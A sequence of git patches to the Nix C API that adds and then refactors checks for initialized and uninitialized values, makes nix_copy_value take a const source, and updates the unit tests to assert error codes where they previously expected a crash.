a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index 2550e975a..a3686022d 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ -20,7 +20,7 @@ # include "gc_cpp.h" #endif -// Helper function to throw an exception if value is null +// Helper function to throw an exception if value is null or in an invalid state static const nix::Value & check_value_not_null(const Value * value) { if (!value) { @@ -37,6 +37,20 @@ static nix::Value & check_value_not_null(Value * value) return *((nix::Value *) value); } +static void check_value_initialized(const nix::Value & value) +{ + if (!value.isValid()) { + throw std::runtime_error("Uninitialized Value"); + } +} + +static void check_value_uninitialized(const nix::Value & value) +{ + if (value.isValid()) { + throw std::runtime_error("Value already initialized. Variables are immutable"); + } +} + /** * Helper function to convert calls from nix into C API. * @@ -112,6 +126,7 @@ ValueType nix_get_type(nix_c_context * context, const Value * value) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_initialized(v); using namespace nix; switch (v.type()) { case nThunk: @@ -148,6 +163,7 @@ const char * nix_get_typename(nix_c_context * context, const Value * value) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_initialized(v); auto s = nix::showType(v); return strdup(s.c_str()); } @@ -160,6 +176,7 @@ bool nix_get_bool(nix_c_context * context, const Value * value) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_initialized(v); assert(v.type() == nix::nBool); return v.boolean(); } @@ -172,6 +189,7 @@ nix_err nix_get_string(nix_c_context * context, const Value * value, nix_get_str context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_initialized(v); assert(v.type() == nix::nString); call_nix_get_string_callback(v.c_str(), callback, user_data); } @@ -184,6 +202,7 @@ const char * nix_get_path_string(nix_c_context * context, const Value * value) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_initialized(v); assert(v.type() == nix::nPath); // NOTE (from @yorickvP) // v._path.path should work but may not be how Eelco intended it. @@ -203,6 +222,7 @@ unsigned int nix_get_list_size(nix_c_context * context, const Value * value) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_initialized(v); assert(v.type() == nix::nList); return v.listSize(); } @@ -215,6 +235,7 @@ unsigned int nix_get_attrs_size(nix_c_context * context, const Value * value) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_initialized(v); assert(v.type() == nix::nAttrs); return v.attrs()->size(); } @@ -227,6 +248,7 @@ double nix_get_float(nix_c_context * context, const Value * value) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_initialized(v); assert(v.type() == nix::nFloat); return v.fpoint(); } @@ -239,6 +261,7 @@ int64_t nix_get_int(nix_c_context * context, const Value * value) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_initialized(v); assert(v.type() == nix::nInt); return v.integer(); } @@ -251,6 +274,7 @@ ExternalValue * nix_get_external(nix_c_context * context, Value * value) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_initialized(v); assert(v.type() == nix::nExternal); return (ExternalValue *) v.external(); } @@ -263,6 +287,7 @@ Value * nix_get_list_byidx(nix_c_context * context, const Value * value, EvalSta context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_initialized(v); assert(v.type() == nix::nList); auto * p = v.listElems()[ix]; nix_gc_incref(nullptr, p); @@ -279,6 +304,7 @@ Value * nix_get_attr_byname(nix_c_context * context, const Value * value, EvalSt context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_initialized(v); assert(v.type() == nix::nAttrs); nix::Symbol s = state->state.symbols.create(name); auto attr = v.attrs()->get(s); @@ -299,6 +325,7 @@ bool nix_has_attr_byname(nix_c_context * context, const Value * value, EvalState context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_initialized(v); assert(v.type() == nix::nAttrs); nix::Symbol s = state->state.symbols.create(name); auto attr = v.attrs()->get(s); @@ -316,6 +343,7 @@ nix_get_attr_byidx(nix_c_context * context, const Value * value, EvalState * sta context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_initialized(v); const nix::Attr & a = (*v.attrs())[i]; *name = ((const std::string &) (state->state.symbols[a.name])).c_str(); nix_gc_incref(nullptr, a.value); @@ -331,6 +359,7 @@ const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * valu context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_initialized(v); const nix::Attr & a = (*v.attrs())[i]; return ((const std::string &) (state->state.symbols[a.name])).c_str(); } @@ -343,6 +372,7 @@ nix_err nix_init_bool(nix_c_context * context, Value * value, bool b) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_uninitialized(v); v.mkBool(b); } NIXC_CATCH_ERRS @@ -355,6 +385,7 @@ nix_err nix_init_string(nix_c_context * context, Value * value, const char * str context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_uninitialized(v); v.mkString(std::string_view(str)); } NIXC_CATCH_ERRS @@ -366,6 +397,7 @@ nix_err nix_init_path_string(nix_c_context * context, EvalState * s, Value * val context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_uninitialized(v); v.mkPath(s->state.rootPath(nix::CanonPath(str))); } NIXC_CATCH_ERRS @@ -377,6 +409,7 @@ nix_err nix_init_float(nix_c_context * context, Value * value, double d) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_uninitialized(v); v.mkFloat(d); } NIXC_CATCH_ERRS @@ -388,6 +421,7 @@ nix_err nix_init_int(nix_c_context * context, Value * value, int64_t i) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_uninitialized(v); v.mkInt(i); } NIXC_CATCH_ERRS @@ -399,6 +433,7 @@ nix_err nix_init_null(nix_c_context * context, Value * value) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_uninitialized(v); v.mkNull(); } NIXC_CATCH_ERRS @@ -423,6 +458,7 @@ nix_err nix_init_external(nix_c_context * context, Value * value, ExternalValue context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_uninitialized(v); auto r = (nix::ExternalValueBase *) val; v.mkExternal(r); } @@ -450,6 +486,7 @@ nix_err nix_list_builder_insert(nix_c_context * context, ListBuilder * list_buil context->last_err_code = NIX_OK; try { auto & e = check_value_not_null(value); + check_value_initialized(e); list_builder->builder[index] = &e; } NIXC_CATCH_ERRS @@ -470,6 +507,7 @@ nix_err nix_make_list(nix_c_context * context, ListBuilder * list_builder, Value context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_uninitialized(v); v.mkList(list_builder->builder); } NIXC_CATCH_ERRS @@ -481,6 +519,7 @@ nix_err nix_init_primop(nix_c_context * context, Value * value, PrimOp * p) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_uninitialized(v); v.mkPrimOp((nix::PrimOp *) p); } NIXC_CATCH_ERRS @@ -492,7 +531,9 @@ nix_err nix_copy_value(nix_c_context * context, Value * value, Value * source) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_uninitialized(v); auto & s = check_value_not_null(source); + check_value_initialized(s); v = s; } NIXC_CATCH_ERRS @@ -504,6 +545,7 @@ nix_err nix_make_attrs(nix_c_context * context, Value * value, BindingsBuilder * context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_uninitialized(v); v.mkAttrs(b->builder); } NIXC_CATCH_ERRS @@ -530,6 +572,7 @@ nix_err nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * b context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_initialized(v); nix::Symbol s = bb->builder.state.symbols.create(name); bb->builder.insert(s, &v); } @@ -551,6 +594,7 @@ nix_realised_string * nix_string_realise(nix_c_context * context, EvalState * st context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); + check_value_initialized(v); nix::NixStringContext stringContext; auto rawStr = state->state.coerceToString(nix::noPos, v, stringContext, "while realising a string").toOwned(); nix::StorePathSet storePaths; diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc index ac0cdb9c4..9e922f8c7 100644 --- a/tests/unit/libexpr/nix_api_value.cc +++ b/tests/unit/libexpr/nix_api_value.cc @@ -14,11 +14,16 @@ namespace nixC { -TEST_F(nix_api_expr_test, nix_value_set_get_int) +TEST_F(nix_api_expr_test, nix_value_get_int_invalid) { ASSERT_EQ(0, nix_get_int(ctx, nullptr)); - ASSERT_DEATH(nix_get_int(ctx, value), ""); + assert_ctx_err(); + ASSERT_EQ(0, nix_get_int(ctx, value)); + assert_ctx_err(); +} +TEST_F(nix_api_expr_test, nix_value_set_get_int) +{ int myInt = 1; nix_init_int(ctx, value, myInt); @@ -27,11 +32,16 @@ TEST_F(nix_api_expr_test, nix_value_set_get_int) ASSERT_EQ(NIX_TYPE_INT, nix_get_type(ctx, value)); } -TEST_F(nix_api_expr_test, nix_value_set_get_float) +TEST_F(nix_api_expr_test, nix_value_set_get_float_invalid) { ASSERT_FLOAT_EQ(0.0, nix_get_float(ctx, nullptr)); - ASSERT_DEATH(nix_get_float(ctx, value), ""); + assert_ctx_err(); + ASSERT_FLOAT_EQ(0.0, nix_get_float(ctx, value)); + assert_ctx_err(); +} +TEST_F(nix_api_expr_test, nix_value_set_get_float) +{ float myDouble = 1.0; nix_init_float(ctx, value, myDouble); @@ -40,11 +50,16 @@ TEST_F(nix_api_expr_test, nix_value_set_get_float) ASSERT_EQ(NIX_TYPE_FLOAT, nix_get_type(ctx, value)); } -TEST_F(nix_api_expr_test, nix_value_set_get_bool) +TEST_F(nix_api_expr_test, nix_value_set_get_bool_invalid) { ASSERT_EQ(false, nix_get_bool(ctx, nullptr)); - ASSERT_DEATH(nix_get_bool(ctx, value), ""); + assert_ctx_err(); + ASSERT_EQ(false, nix_get_bool(ctx, value)); + assert_ctx_err(); +} +TEST_F(nix_api_expr_test, nix_value_set_get_bool) +{ bool myBool = true; nix_init_bool(ctx, value, myBool); @@ -53,12 +68,18 @@ TEST_F(nix_api_expr_test, nix_value_set_get_bool) ASSERT_EQ(NIX_TYPE_BOOL, nix_get_type(ctx, value)); } -TEST_F(nix_api_expr_test, nix_value_set_get_string) +TEST_F(nix_api_expr_test, nix_value_set_get_string_invalid) { std::string string_value; ASSERT_EQ(NIX_ERR_UNKNOWN, nix_get_string(ctx, nullptr, OBSERVE_STRING(string_value))); - ASSERT_DEATH(nix_get_string(ctx, value, OBSERVE_STRING(string_value)), ""); + assert_ctx_err(); + ASSERT_EQ(NIX_ERR_UNKNOWN, nix_get_string(ctx, value, OBSERVE_STRING(string_value))); + assert_ctx_err(); +} +TEST_F(nix_api_expr_test, nix_value_set_get_string) +{ + std::string string_value; const char * myString = "some string"; nix_init_string(ctx, value, myString); @@ -68,21 +89,29 @@ TEST_F(nix_api_expr_test, nix_value_set_get_string) ASSERT_EQ(NIX_TYPE_STRING, nix_get_type(ctx, value)); } +TEST_F(nix_api_expr_test, nix_value_set_get_null_invalid) +{ + ASSERT_EQ(NULL, nix_get_typename(ctx, value)); + assert_ctx_err(); +} + TEST_F(nix_api_expr_test, nix_value_set_get_null) { - ASSERT_DEATH(nix_get_typename(ctx, value), ""); - nix_init_null(ctx, value); ASSERT_STREQ("null", nix_get_typename(ctx, value)); ASSERT_EQ(NIX_TYPE_NULL, nix_get_type(ctx, value)); } -TEST_F(nix_api_expr_test, nix_value_set_get_path) +TEST_F(nix_api_expr_test, nix_value_set_get_path_invalid) { ASSERT_EQ(nullptr, nix_get_path_string(ctx, nullptr)); - ASSERT_DEATH(nix_get_path_string(ctx, value), ""); - + assert_ctx_err(); + ASSERT_EQ(nullptr, nix_get_path_string(ctx, value)); + assert_ctx_err(); +} +TEST_F(nix_api_expr_test, nix_value_set_get_path) +{ const char * p = "/nix/store/40s0qmrfb45vlh6610rk29ym318dswdr-myname"; nix_init_path_string(ctx, state, value, p); @@ -91,14 +120,21 @@ TEST_F(nix_api_expr_test, nix_value_set_get_path) ASSERT_EQ(NIX_TYPE_PATH, nix_get_type(ctx, value)); } -TEST_F(nix_api_expr_test, nix_build_and_init_list) +TEST_F(nix_api_expr_test, nix_build_and_init_list_invalid) { ASSERT_EQ(nullptr, nix_get_list_byidx(ctx, nullptr, state, 0)); + assert_ctx_err(); ASSERT_EQ(0, nix_get_list_size(ctx, nullptr)); + assert_ctx_err(); - ASSERT_DEATH(nix_get_list_byidx(ctx, value, state, 0), ""); - ASSERT_DEATH(nix_get_list_size(ctx, value), ""); + ASSERT_EQ(nullptr, nix_get_list_byidx(ctx, value, state, 0)); + assert_ctx_err(); + ASSERT_EQ(0, nix_get_list_size(ctx, value)); + assert_ctx_err(); +} +TEST_F(nix_api_expr_test, nix_build_and_init_list) +{ int size = 10; ListBuilder * builder = nix_make_list_builder(ctx, state, size); @@ -119,20 +155,33 @@ TEST_F(nix_api_expr_test, nix_build_and_init_list) nix_gc_decref(ctx, intValue); } -TEST_F(nix_api_expr_test, nix_build_and_init_attr) +TEST_F(nix_api_expr_test, nix_build_and_init_attr_invalid) { ASSERT_EQ(nullptr, nix_get_attr_byname(ctx, nullptr, state, 0)); + assert_ctx_err(); ASSERT_EQ(nullptr, nix_get_attr_byidx(ctx, nullptr, state, 0, nullptr)); + assert_ctx_err(); ASSERT_EQ(nullptr, nix_get_attr_name_byidx(ctx, nullptr, state, 0)); + assert_ctx_err(); ASSERT_EQ(0, nix_get_attrs_size(ctx, nullptr)); + assert_ctx_err(); ASSERT_EQ(false, nix_has_attr_byname(ctx, nullptr, state, "no-value")); + assert_ctx_err(); - ASSERT_DEATH(nix_get_attr_byname(ctx, value, state, 0), ""); - ASSERT_DEATH(nix_get_attr_byidx(ctx, value, state, 0, nullptr), ""); - ASSERT_DEATH(nix_get_attr_name_byidx(ctx, value, state, 0), ""); - ASSERT_DEATH(nix_get_attrs_size(ctx, value), ""); - ASSERT_DEATH(nix_has_attr_byname(ctx, value, state, "no-value"), ""); + ASSERT_EQ(nullptr, nix_get_attr_byname(ctx, value, state, 0)); + assert_ctx_err(); + ASSERT_EQ(nullptr, nix_get_attr_byidx(ctx, value, state, 0, nullptr)); + assert_ctx_err(); + ASSERT_EQ(nullptr, nix_get_attr_name_byidx(ctx, value, state, 0)); + assert_ctx_err(); + ASSERT_EQ(0, nix_get_attrs_size(ctx, value)); + assert_ctx_err(); + ASSERT_EQ(false, nix_has_attr_byname(ctx, value, state, "no-value")); + assert_ctx_err(); +} +TEST_F(nix_api_expr_test, nix_build_and_init_attr) +{ int size = 10; const char ** out_name = (const char **) malloc(sizeof(char *)); diff --git a/tests/unit/libutil-support/tests/nix_api_util.hh b/tests/unit/libutil-support/tests/nix_api_util.hh index 75d302bd6..efd200116 100644 --- a/tests/unit/libutil-support/tests/nix_api_util.hh +++ b/tests/unit/libutil-support/tests/nix_api_util.hh @@ -24,7 +24,9 @@ protected: nix_c_context * ctx; - inline void assert_ctx_ok() { + inline void assert_ctx_ok() + { + if (nix_err_code(ctx) == NIX_OK) { return; } @@ -33,5 +35,14 @@ protected: std::string msg(p, n); FAIL() << "nix_err_code(ctx) != NIX_OK, message: " << msg; } + + inline void assert_ctx_err() + { + if (nix_err_code(ctx) != NIX_OK) { + return; + } + FAIL() << "Got NIX_OK, but expected an error!"; + } }; + } From ff76dd2211d0acddc82a35bb0b1a884323c2a3cd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Sun, 21 Apr 2024 20:24:56 +0200 Subject: [PATCH 0512/1251] C API: fix test, nix float is a double internally --- tests/unit/libexpr/nix_api_value.cc | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc index 9e922f8c7..7c8e82c50 100644 --- a/tests/unit/libexpr/nix_api_value.cc +++ b/tests/unit/libexpr/nix_api_value.cc @@ -34,18 +34,18 @@ TEST_F(nix_api_expr_test, nix_value_set_get_int) TEST_F(nix_api_expr_test, nix_value_set_get_float_invalid) { - ASSERT_FLOAT_EQ(0.0, nix_get_float(ctx, nullptr)); + ASSERT_DOUBLE_EQ(0.0, nix_get_float(ctx, nullptr)); assert_ctx_err(); - ASSERT_FLOAT_EQ(0.0, nix_get_float(ctx, value)); + ASSERT_DOUBLE_EQ(0.0, nix_get_float(ctx, value)); assert_ctx_err(); } TEST_F(nix_api_expr_test, nix_value_set_get_float) { - float myDouble = 1.0; + double myDouble = 1.0; nix_init_float(ctx, value, myDouble); - ASSERT_FLOAT_EQ(myDouble, nix_get_float(ctx, value)); + ASSERT_DOUBLE_EQ(myDouble, nix_get_float(ctx, value)); ASSERT_STREQ("a float", nix_get_typename(ctx, value)); ASSERT_EQ(NIX_TYPE_FLOAT, nix_get_type(ctx, value)); } From 8d70db3251f68597f332de1bffcc3f716ff30450 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Sun, 21 Apr 2024 22:13:26 +0200 Subject: [PATCH 0513/1251] C API: add check_value_[in,out] helper functions --- src/libexpr-c/nix_api_value.cc | 109 ++++++++++++---------------- tests/unit/libexpr/nix_api_value.cc | 9 ++- 2 files changed, 54 insertions(+), 64 deletions(-) diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index a3686022d..0d61292c4 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ -20,7 +20,7 @@ # include "gc_cpp.h" #endif -// Helper function to throw an exception if value is null or in an invalid state +// Internal helper functions to check [in] and [out] `Value *` parameters static const nix::Value & check_value_not_null(const Value * value) { if (!value) { @@ -37,18 +37,31 @@ static nix::Value & check_value_not_null(Value * value) return *((nix::Value *) value); } -static void check_value_initialized(const nix::Value & value) +static const nix::Value & check_value_in(const Value * value) { - if (!value.isValid()) { + auto & v = check_value_not_null(value); + if (!v.isValid()) { throw std::runtime_error("Uninitialized Value"); } + return v; } -static void check_value_uninitialized(const nix::Value & value) +static nix::Value & check_value_in(Value * value) { - if (value.isValid()) { + auto & v = check_value_not_null(value); + if (!v.isValid()) { + throw std::runtime_error("Uninitialized Value"); + } + return v; +} + +static nix::Value & check_value_out(Value * value) +{ + auto & v = check_value_not_null(value); + if (v.isValid()) { throw std::runtime_error("Value already initialized. Variables are immutable"); } + return v; } /** @@ -125,8 +138,7 @@ ValueType nix_get_type(nix_c_context * context, const Value * value) if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_initialized(v); + auto & v = check_value_in(value); using namespace nix; switch (v.type()) { case nThunk: @@ -162,8 +174,7 @@ const char * nix_get_typename(nix_c_context * context, const Value * value) if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_initialized(v); + auto & v = check_value_in(value); auto s = nix::showType(v); return strdup(s.c_str()); } @@ -175,8 +186,7 @@ bool nix_get_bool(nix_c_context * context, const Value * value) if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_initialized(v); + auto & v = check_value_in(value); assert(v.type() == nix::nBool); return v.boolean(); } @@ -188,8 +198,7 @@ nix_err nix_get_string(nix_c_context * context, const Value * value, nix_get_str if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_initialized(v); + auto & v = check_value_in(value); assert(v.type() == nix::nString); call_nix_get_string_callback(v.c_str(), callback, user_data); } @@ -201,8 +210,7 @@ const char * nix_get_path_string(nix_c_context * context, const Value * value) if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_initialized(v); + auto & v = check_value_in(value); assert(v.type() == nix::nPath); // NOTE (from @yorickvP) // v._path.path should work but may not be how Eelco intended it. @@ -221,8 +229,7 @@ unsigned int nix_get_list_size(nix_c_context * context, const Value * value) if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_initialized(v); + auto & v = check_value_in(value); assert(v.type() == nix::nList); return v.listSize(); } @@ -234,8 +241,7 @@ unsigned int nix_get_attrs_size(nix_c_context * context, const Value * value) if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_initialized(v); + auto & v = check_value_in(value); assert(v.type() == nix::nAttrs); return v.attrs()->size(); } @@ -247,8 +253,7 @@ double nix_get_float(nix_c_context * context, const Value * value) if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_initialized(v); + auto & v = check_value_in(value); assert(v.type() == nix::nFloat); return v.fpoint(); } @@ -260,8 +265,7 @@ int64_t nix_get_int(nix_c_context * context, const Value * value) if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_initialized(v); + auto & v = check_value_in(value); assert(v.type() == nix::nInt); return v.integer(); } @@ -273,8 +277,7 @@ ExternalValue * nix_get_external(nix_c_context * context, Value * value) if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_initialized(v); + auto & v = check_value_out(value); assert(v.type() == nix::nExternal); return (ExternalValue *) v.external(); } @@ -286,8 +289,7 @@ Value * nix_get_list_byidx(nix_c_context * context, const Value * value, EvalSta if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_initialized(v); + auto & v = check_value_in(value); assert(v.type() == nix::nList); auto * p = v.listElems()[ix]; nix_gc_incref(nullptr, p); @@ -303,8 +305,7 @@ Value * nix_get_attr_byname(nix_c_context * context, const Value * value, EvalSt if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_initialized(v); + auto & v = check_value_in(value); assert(v.type() == nix::nAttrs); nix::Symbol s = state->state.symbols.create(name); auto attr = v.attrs()->get(s); @@ -324,8 +325,7 @@ bool nix_has_attr_byname(nix_c_context * context, const Value * value, EvalState if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_initialized(v); + auto & v = check_value_in(value); assert(v.type() == nix::nAttrs); nix::Symbol s = state->state.symbols.create(name); auto attr = v.attrs()->get(s); @@ -342,8 +342,7 @@ nix_get_attr_byidx(nix_c_context * context, const Value * value, EvalState * sta if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_initialized(v); + auto & v = check_value_in(value); const nix::Attr & a = (*v.attrs())[i]; *name = ((const std::string &) (state->state.symbols[a.name])).c_str(); nix_gc_incref(nullptr, a.value); @@ -358,8 +357,7 @@ const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * valu if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_initialized(v); + auto & v = check_value_in(value); const nix::Attr & a = (*v.attrs())[i]; return ((const std::string &) (state->state.symbols[a.name])).c_str(); } @@ -371,8 +369,7 @@ nix_err nix_init_bool(nix_c_context * context, Value * value, bool b) if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_uninitialized(v); + auto & v = check_value_out(value); v.mkBool(b); } NIXC_CATCH_ERRS @@ -384,8 +381,7 @@ nix_err nix_init_string(nix_c_context * context, Value * value, const char * str if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_uninitialized(v); + auto & v = check_value_out(value); v.mkString(std::string_view(str)); } NIXC_CATCH_ERRS @@ -396,8 +392,7 @@ nix_err nix_init_path_string(nix_c_context * context, EvalState * s, Value * val if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_uninitialized(v); + auto & v = check_value_out(value); v.mkPath(s->state.rootPath(nix::CanonPath(str))); } NIXC_CATCH_ERRS @@ -408,8 +403,7 @@ nix_err nix_init_float(nix_c_context * context, Value * value, double d) if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_uninitialized(v); + auto & v = check_value_out(value); v.mkFloat(d); } NIXC_CATCH_ERRS @@ -420,8 +414,7 @@ nix_err nix_init_int(nix_c_context * context, Value * value, int64_t i) if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_uninitialized(v); + auto & v = check_value_out(value); v.mkInt(i); } NIXC_CATCH_ERRS @@ -432,8 +425,7 @@ nix_err nix_init_null(nix_c_context * context, Value * value) if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_uninitialized(v); + auto & v = check_value_out(value); v.mkNull(); } NIXC_CATCH_ERRS @@ -457,8 +449,7 @@ nix_err nix_init_external(nix_c_context * context, Value * value, ExternalValue if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_uninitialized(v); + auto & v = check_value_out(value); auto r = (nix::ExternalValueBase *) val; v.mkExternal(r); } @@ -486,7 +477,6 @@ nix_err nix_list_builder_insert(nix_c_context * context, ListBuilder * list_buil context->last_err_code = NIX_OK; try { auto & e = check_value_not_null(value); - check_value_initialized(e); list_builder->builder[index] = &e; } NIXC_CATCH_ERRS @@ -506,8 +496,7 @@ nix_err nix_make_list(nix_c_context * context, ListBuilder * list_builder, Value if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_uninitialized(v); + auto & v = check_value_out(value); v.mkList(list_builder->builder); } NIXC_CATCH_ERRS @@ -518,8 +507,7 @@ nix_err nix_init_primop(nix_c_context * context, Value * value, PrimOp * p) if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_uninitialized(v); + auto & v = check_value_out(value); v.mkPrimOp((nix::PrimOp *) p); } NIXC_CATCH_ERRS @@ -530,10 +518,8 @@ nix_err nix_copy_value(nix_c_context * context, Value * value, Value * source) if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_uninitialized(v); - auto & s = check_value_not_null(source); - check_value_initialized(s); + auto & v = check_value_out(value); + auto & s = check_value_in(source); v = s; } NIXC_CATCH_ERRS @@ -544,8 +530,7 @@ nix_err nix_make_attrs(nix_c_context * context, Value * value, BindingsBuilder * if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_uninitialized(v); + auto & v = check_value_out(value); v.mkAttrs(b->builder); } NIXC_CATCH_ERRS @@ -572,7 +557,6 @@ nix_err nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * b context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); - check_value_initialized(v); nix::Symbol s = bb->builder.state.symbols.create(name); bb->builder.insert(s, &v); } @@ -593,8 +577,7 @@ nix_realised_string * nix_string_realise(nix_c_context * context, EvalState * st if (context) context->last_err_code = NIX_OK; try { - auto & v = check_value_not_null(value); - check_value_initialized(v); + auto & v = check_value_in(value); nix::NixStringContext stringContext; auto rawStr = state->state.coerceToString(nix::noPos, v, stringContext, "while realising a string").toOwned(); nix::StorePathSet storePaths; diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc index 7c8e82c50..6e209695e 100644 --- a/tests/unit/libexpr/nix_api_value.cc +++ b/tests/unit/libexpr/nix_api_value.cc @@ -139,13 +139,20 @@ TEST_F(nix_api_expr_test, nix_build_and_init_list) ListBuilder * builder = nix_make_list_builder(ctx, state, size); Value * intValue = nix_alloc_value(ctx, state); + Value * intValue2 = nix_alloc_value(ctx, state); + + // `init` and `insert` can be called in any order nix_init_int(ctx, intValue, 42); nix_list_builder_insert(ctx, builder, 0, intValue); + nix_list_builder_insert(ctx, builder, 1, intValue2); + nix_init_int(ctx, intValue2, 43); + nix_make_list(ctx, builder, value); nix_list_builder_free(builder); ASSERT_EQ(42, nix_get_int(ctx, nix_get_list_byidx(ctx, value, state, 0))); - ASSERT_EQ(nullptr, nix_get_list_byidx(ctx, value, state, 1)); + ASSERT_EQ(43, nix_get_int(ctx, nix_get_list_byidx(ctx, value, state, 1))); + ASSERT_EQ(nullptr, nix_get_list_byidx(ctx, value, state, 2)); ASSERT_EQ(10, nix_get_list_size(ctx, value)); ASSERT_STREQ("a list", nix_get_typename(ctx, value)); From 6acf02b32a12c9db052c9ca24a238882f12f10a9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Sun, 21 Apr 2024 22:15:12 +0200 Subject: [PATCH 0514/1251] C API: source argument to nix_copy_value should be const --- src/libexpr-c/nix_api_value.cc | 2 +- src/libexpr-c/nix_api_value.h | 2 +- tests/unit/libexpr/nix_api_value.cc | 13 +++++++++++++ 3 files changed, 15 insertions(+), 2 deletions(-) diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index 0d61292c4..0366e5020 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ -513,7 +513,7 @@ nix_err nix_init_primop(nix_c_context * context, Value * value, PrimOp * p) NIXC_CATCH_ERRS } -nix_err nix_copy_value(nix_c_context * context, Value * value, Value * source) +nix_err nix_copy_value(nix_c_context * context, Value * value, const Value * source) { if (context) context->last_err_code = NIX_OK; diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h index d8bd77c33..b2b3439ef 100644 --- a/src/libexpr-c/nix_api_value.h +++ b/src/libexpr-c/nix_api_value.h @@ -422,7 +422,7 @@ nix_err nix_init_primop(nix_c_context * context, Value * value, PrimOp * op); * @param[in] source value to copy from * @return error code, NIX_OK on success. */ -nix_err nix_copy_value(nix_c_context * context, Value * value, Value * source); +nix_err nix_copy_value(nix_c_context * context, Value * value, const Value * source); /**@}*/ /** @brief Create a bindings builder diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc index 6e209695e..6e1131e10 100644 --- a/tests/unit/libexpr/nix_api_value.cc +++ b/tests/unit/libexpr/nix_api_value.cc @@ 